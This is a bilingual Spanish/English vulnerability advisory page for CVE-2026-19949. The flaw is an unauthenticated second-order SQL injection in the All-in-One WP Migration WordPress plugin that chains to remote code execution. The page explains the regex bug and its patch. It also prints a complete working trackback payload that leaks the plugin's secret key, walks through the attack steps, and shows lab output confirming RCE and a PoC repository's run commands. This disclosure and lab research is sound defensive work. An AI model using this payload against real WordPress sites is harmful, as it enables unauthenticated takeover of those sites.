Vulnerability databaseCVE-2026-19949

CVE-2026-19949

All-in-One WP Migration and Backup ≤ 7.109 — SQLi de segundo orden no autenticada, de trackback a RCE

All-in-One WP Migration and Backup ≤ 7.109 — unauthenticated second-order SQL injection, from trackback to RCE

CVSS 8.8 · HIGH CWE-89 WP plugin: all-in-one-wp-migration ≤ 7.109 · ~3,2 M instalaciones ≤ 7.109 · ~3.2M installs Parche: 7.110 Fixed: 7.110
Publicación
Published
2026-08-24 (informe Wordfence)(Wordfence advisory)
Corrección
Fixed
7.110 — 2026-08-20 (un regex, una línea)(one regex, one line)
Descubridor
Discoverer
Jack Taylor (bounty $5.761, Wordfence)(Wordfence bounty $5,761)
Vector
AV:N / AC:L / PR:N / UI:R / S:U / C:H / I:H / A:H
Requisito
Requirement
que un administrador exporte y restaure el sitio (rutina habitual con este plugin)
a site administrator exports and restores the site (routine with this plugin)
Verificado en laboratorio
Lab verified
WP 7.1 · 7.0.4 · 6.9.4 · 6.8.3  +  MySQL 8
Payload público
Public payload
ninguno antes de esta PoC — el de esta página es derivación propia
none before this PoC — the one on this page is an original derivation

§1Qué esWhat it is

Al importar una copia de seguridad, el plugin reescribe cada sentencia SQL del volcado con replace_table_values() para sustituir URLs y prefijos de tabla. Para encontrar los literales de cadena usa un regex con un lookbehind negativo de un solo byte:

When restoring a backup, the plugin rewrites every SQL statement in the dump through replace_table_values() to replace URLs and table prefixes. To locate string literals it uses a regex with a single-byte negative lookbehind:

7.109 — vulnerablevulnerable

// class-ai1wm-database.php:1637
preg_replace_callback(
  "/'(.*?)(?<!\\\\)'/S", … )

7.110 — parchepatch

// tokenizador correcto de literales
preg_replace_callback(
  "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", … )

En un volcado MySQL, un dato que termina en barra invertida se escribe …\\': la comilla de cierre va precedida de un número par de barras, así que la cadena realmente termina ahí. El regex solo mira el último byte, la cree escapada y sobre-captura el literal siguiente. El callback ejecuta entonces unescape_mysql → replace_serialized_values → escape_mysql sobre el valor sobre-capturado y re-emite una secuencia desequilibrada de \' que voltea el límite de la cadena MySQL: lo que eran datos pasa a ser SQL ejecutable.

In a MySQL dump, data ending in a backslash is written …\\': the closing quote is preceded by an even number of backslashes, so the string truly ends there. The regex only checks the last byte, deems it escaped and over-captures the next literal. The callback then runs unescape_mysql → replace_serialized_values → escape_mysql over the over-captured value and re-emits an unbalanced \' sequence that flips the MySQL string boundary: data becomes executable SQL.

§2La cadena de ataqueThe attack chain

  1. atacante · sin autenticar
    Planta dos trackbacksPlants two trackbacks en cualquier entrada con pings abiertos (wp-trackback.php). El blog name termina en barra invertida; la URL porta el payload. WordPress los guarda como comment_author y comment_author_url sin tocar nada, y auto-aprueba los trackbacks. on any post with pings open (wp-trackback.php). The blog name ends in a backslash; the URL carries the payload. WordPress stores them as comment_author / comment_author_url untouched, and auto-approves trackbacks.
  2. administrador · acción de rutina
    Exporta y restaura el sitioExports and restores the site El primer trackback actúa de «bomba de tiempo»: fuerza un corte de pase del importador para que el payload se ejecute en un pase posterior, cuando el plugin ya ha devuelto la ai1wm_secret_key real a wp_options. The first trackback acts as a "time bomb": it forces the importer to pause mid-pass so the payload runs on a later pass, once the plugin has restored the real ai1wm_secret_key into wp_options.
  3. importador · sql del atacante
    El regex volteado ejecuta el payloadThe flipped regex executes the payload El INSERT del comentario se reescribe con el límite de cadena girado. El payload es una subconsulta que copia la clave a comment_author_url de un comentario aprobado y de tipo comment. The comment's INSERT is rewritten with the string boundary flipped. The payload is a subquery that copies the key into comment_author_url of an approved, type-comment row.
  4. atacante · sin autenticar
    Lee la clave en la RESTReads the key from the REST API GET /wp-json/wp/v2/comments devuelve el campo author_url públicamente: la ai1wm_secret_key queda expuesta sin credenciales. GET /wp-json/wp/v2/comments returns author_url publicly: the ai1wm_secret_key is exposed with no credentials.
  5. atacante · sin autenticar · RCE
    Importa su propio .wpressImports his own .wpress admin-ajax.php?action=ai1wm_import está registrado también para anónimos y su única barrera es la clave. Con ella, sube un archivo con un mu-plugin que el paso 270 extrae a wp-content/mu-plugins/: ejecución de código. admin-ajax.php?action=ai1wm_import is registered for anonymous users too, gated only by the key. With it, he uploads an archive containing a mu-plugin that step 270 extracts into wp-content/mu-plugins/: code execution.

§3El payload, explicadoThe payload, explained

Todo el material se planta con una única petición POST sin autenticar a wp-trackback.php. Tres campos hacen el trabajo:

All the material is planted with a single unauthenticated POST to wp-trackback.php. Three fields do the work:

CampoFieldValorValueFunciónPurpose
blog_name Jack Blogs\\ Termina en barra invertida: es lo que induce al regex a sobre-capturar durante la importación. Ends in a backslash: this is what makes the regex over-capture during restore.
excerpt …backups https://el-sitio.com Lleva la URL del propio sitio: el importador solo reescribe líneas que la contienen (filtro strpos). Carries the site's own URL: the importer only rewrites lines containing it (strpos filter).
url el payload — recórrelo segmento a segmento:the payload — explore it segment by segment:
/*pwn*/,0x30,(SELECT/**/option_value/**/FROM/**/SERVMASK_PREFIX_options/**/WHERE/**/option_name=0x616931776d5f7365637265745f6b6579),0x30,0x30,0x30,0x30,0x30,0x31,0x30,0x636f6d6d656e74,0x30,0x30)#
/*pwn*/

¿Y esto por qué es SQL válido? El volteo en tres pasos

Why is this valid SQL? The flip in three steps

dump MySQL

INSERT INTO `…_comments` VALUES (
  2,4,
  'Jack Blogs\\\\','',
  'PAYLOAD','172.18.0.1', …
  ,'trackback',0,0);

tras replace_table_values (7.109)

after replace_table_values (7.109)

INSERT INTO `…_comments` VALUES (
  2,4,
  'Jack Blogs\\\\\','',
  PAYLOAD (¡código!)(code!),…
  ,'trackback',0,0);

El match sobre-capturado re-emite …\\\\\',': la quinta barra forma un \' con la comilla, el autor «se traga» su cierre y el separador, y todo lo que sigue —la URL del atacante— queda fuera de comillas, es decir, SQL ejecutable. La coma inicial del payload restaura el separador devorado; los once valores siguientes rellenan las columnas hasta las 15 exactas; ) cierra la tupla y # comenta el resto de la línea original (el # de MySQL no necesita espacio, y es de los pocos caracteres que sanitize_url() respetaba).

The over-captured match re-emits …\\\\\',': the fifth backslash pairs with the quote as \', the author value "swallows" its own closing quote and the separator, and everything that follows — the attacker's URL — ends up outside quotes, i.e. executable SQL. The payload's leading comma restores the eaten separator; the next eleven values fill the columns up to exactly 15; ) closes the tuple and # comments out the rest of the original line (MySQL's # needs no trailing space, and it's among the few characters sanitize_url() kept intact).

Restricciones que el payload sortea

Constraints the payload works around

FiltroFilterCómo se sorteaHow it's bypassed
sanitize_url() Sin espacios; mantiene ( ) , / * # =; antepone http:// a lo que no empieza por / No spaces; keeps ( ) , / * # =; prepends http:// unless the string starts with /
Comillas del dato → \' en el dumpData quotes → \' in the dump Una comilla escapada en zona de código deja una barra huérfana (error 1064): por eso ceros comillas — el nombre de opción va en hex y los separadores son /**/ An escaped quote in code position leaves an orphan backslash (error 1064): hence zero quotes — the option name is hex and separators are /**/
Prefijo de tabla desconocido (wp_ no garantizado)Unknown table prefix (wp_ not guaranteed) SERVMASK_PREFIX_options: el importador traduce los prefijos SERVMASK al real antes del regex — el payload se adapta solo a cualquier prefijo SERVMASK_PREFIX_options: the importer maps SERVMASK prefixes to the real one before the regex — the payload adapts itself to any prefix
15 columnas exactas en el INSERTExactly 15 columns in the INSERT La URL aporta 12 expresiones (subconsulta + 11 rellenos) y cierra con ); el resto de la línea queda comentado The URL supplies 12 expressions (subquery + 11 fillers) and closes with ); the rest of the line is commented out
Visibilidad del leakLeak visibility Columna 5 = comment_author_url (público), columna 11 = 0x31 («1», aprobado), columna 13 = 0x636f6d6d656e74 («comment», visible en la REST sin autenticar) Column 5 = comment_author_url (public), column 11 = 0x31 ("1", approved), column 13 = 0x636f6d6d656e74 ("comment", visible via unauthenticated REST)

§4VerificaciónVerification

Cadena completa reproducida de forma autónoma en el laboratorio Docker de este repositorio (make full-demo), con el mismo payload sin ajustes:

Full chain reproduced end-to-end in this repository's Docker lab (make full-demo), same payload untouched:

WordPressPlantRestoreLeak claveKey leakRCE
7.1.0
7.0.4
6.9.4
6.8.3
7.110 (control, parcheado)7.110 (patched control) fila intactarow intact
$ curl -s http://localhost:8080/index.php?rest_route=/wp/v2/comments | jq '.[].author_url'
"nbtSZqbihacU" # ← ai1wm_secret_key real, sin autenticación
$ cat /var/www/html/wp-content/PWNED_CVE_2026_19949.txt
RCE confirmada: CVE-2026-19949 — 2026-09-08T07:59:47+00:00

§5MitigaciónMitigation

§6Laboratorio y CLILab & CLI

Todo lo anterior es reproducible con dos comandos desde el raíz del repositorio github.com/686f6c61/POC-AIOWPM-CVE-2026-19949:

Everything above is reproducible with two commands from the root of github.com/686f6c61/POC-AIOWPM-CVE-2026-19949:

$ make full-demo # lab + plantado + restore + leak + RCE
$ python3 cli/poc.py lab # ídem vía CLI, con informe en informes/
$ python3 cli/poc.py scan https://www.tusitio.com # detección no invasiva

El payload está documentado línea a línea en exploit/01_plant_trackback.sh; el análisis de derivación y los arneses de verificación, en exploit/investigacion/.

The payload is documented line by line in exploit/01_plant_trackback.sh; the derivation analysis and verification harnesses live in exploit/investigacion/.

§7ReferenciasReferences